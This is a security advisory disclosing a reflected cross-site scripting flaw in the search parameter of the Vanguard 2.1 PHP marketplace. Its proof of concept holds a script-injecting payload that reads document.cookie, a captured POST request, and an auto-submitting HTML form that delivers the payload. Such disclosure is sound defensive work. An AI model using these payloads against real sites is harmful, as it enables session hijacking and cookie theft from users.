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Vanguard 2.1 - (Search) Cross-Site Scripting Vulnerability
# Exploit Title: Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS)
# Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
# Version: 2.1
Product & Service Introduction:
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https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
Abstract Advisory Information:
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The vulnerability laboratory core research team discovered a post inject web vulnerability in the Vanguard v2.1 cms web-application.
Affected Product(s):
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VanguardInfini
Product: Vanguard v2.1 - CMS (PHP) (Web-Application)
Technical Details & Description:
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A non-persistent post inject web vulnerability has been discovered in the official Vanguard v2.1 cms web-application.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.
The vulnerability is located in the phps_query parameter of the search module. The vulnerability is a classic post
injection web vulnerability with non-persistent attack vector.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.
Request method(s):
[+] POST
Vulnerable Input(s):
[+] Search
Vulnerable Parameter(s):
[+] phps_query
Proof of Concept (PoC):
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The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.
Vulnerable Source: search
<div class="ui yellow basic segment"></div>
<div class="ui container" style="margin-top: -0.7em;">
<form method="POST" action="https://vanguard.squamifer.ovh/search">
<div class="ui action input fluid">
<input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" placeholder="Search for a product...">
<button class="ui button" type="submit" name="phps_search"><i class="search icon"></i>Search</button></div></form>
<div class="ui divider"></div>
<div class="ui cards aligned centered">
<div class="alert color blue-color"><div class="ui hidden divider"></div>
<div class="ui icon info message"><i class="help circle icon"></i><div class="content">
<div class="header">No results found for <strong><iframe src=evil.source onload=alert(document.cookie)></strong>.</div></div></div></div>
</div></div></div>
--- PoC Session Logs [POST] ---
https://vanguard.localhost:8080/search
Host: vanguard.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://vanguard.localhost:8080
Connection: keep-alive
Referer: https://vanguard.localhost:8080/
Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8
phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;)
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POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
pragma: no-cache
cache-control: private
vary: Accept-Encoding
Exploitation: PoC
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://vanguard.localhost:8080/search" method="post">
<input type="text" name="phps_query" value=">%20<iframe src=evil.source onload=alert(document.cookie)>"/>
</form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>
Security Risk:
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The security risk of the validation web vulnerability in the web-application is estimated as medium.
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03 Nov 2021 00:00Current
7.1High risk
Vulners AI Score7.1